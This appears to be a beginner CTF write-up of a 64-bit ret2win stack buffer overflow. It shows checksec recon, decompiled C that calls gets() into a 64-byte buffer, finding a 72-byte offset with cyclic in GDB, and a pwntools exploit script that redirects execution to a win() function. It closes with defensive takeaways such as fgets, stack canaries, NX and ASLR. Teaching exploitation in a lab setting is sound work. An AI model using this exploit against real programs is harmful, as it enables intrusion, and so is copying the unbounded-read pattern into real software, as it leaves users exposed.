Stack Smashing 101: Crafting Your First Buffer Overflow

A beginner-friendly walkthrough of the "Baby Overflow" challenge from our February monthly CTF. We'll cover the fundamentals of stack-based buffer overflows, from understanding memory layout to redirecting program execution.

Understanding the Binary

We were given a 64-bit ELF binary. Let's start with basic recon:

file baby_overflow
# baby_overflow: ELF 64-bit LSB executable, x86-64

checksec baby_overflow
# Arch:     amd64-64-little
# RELRO:    Partial RELRO
# Stack:    No canary found
# NX:       NX disabled
# PIE:      No PIE

No stack canary, NX disabled, no PIE — this is as vulnerable as it gets.

Decompiling with Ghidra

Opening in Ghidra revealed a simple main function:

void main(void) {
    char buffer[64];
    puts("Enter your name:");
    gets(buffer);  // Dangerous! No bounds checking
    printf("Hello, %s!\n", buffer);
    return;
}

void win(void) {
    system("/bin/cat flag.txt");
}

The gets() function reads input without any length limit, and there's a win() function that prints the flag. Classic ret2win.

Finding the Offset

We need to know exactly how many bytes to write before we overwrite the return address. Using pwntools:

from pwn import *

# Generate a cyclic pattern
pattern = cyclic(100)
print(pattern)

Running the binary with this pattern and examining the crash in GDB:

gdb ./baby_overflow
r <<< $(python3 -c "from pwn import *; print(cyclic(100).decode())")
# Program received signal SIGSEGV
# RSP points to: 0x6161616c6161616b

offset = cyclic_find(0x6161616b)
print(f"Offset: {offset}")  # 72

72 bytes to reach the return address.

Writing the Exploit

from pwn import *

elf = ELF('./baby_overflow')
win_addr = elf.symbols['win']

payload = b'A' * 72           # Fill buffer + saved RBP
payload += p64(win_addr)      # Overwrite return address

p = process('./baby_overflow')
p.sendline(payload)
print(p.recvall().decode())
# RTA{st4ck_sm4sh1ng_f0r_th3_w1n}

Why This Works

The stack layout looks like this:

When gets() reads more than 64 bytes, it overwrites past the buffer into the saved RBP and return address. When main returns, execution jumps to our chosen address: win().

Key Takeaways

1. gets() is banned — never use it, use fgets() with a size limit
2. Stack canaries would have detected this overflow at runtime
3. NX bit would prevent executing shellcode on the stack (though this was ret2win, not shellcode)
4. ASLR + PIE would randomize addresses, making exploitation much harder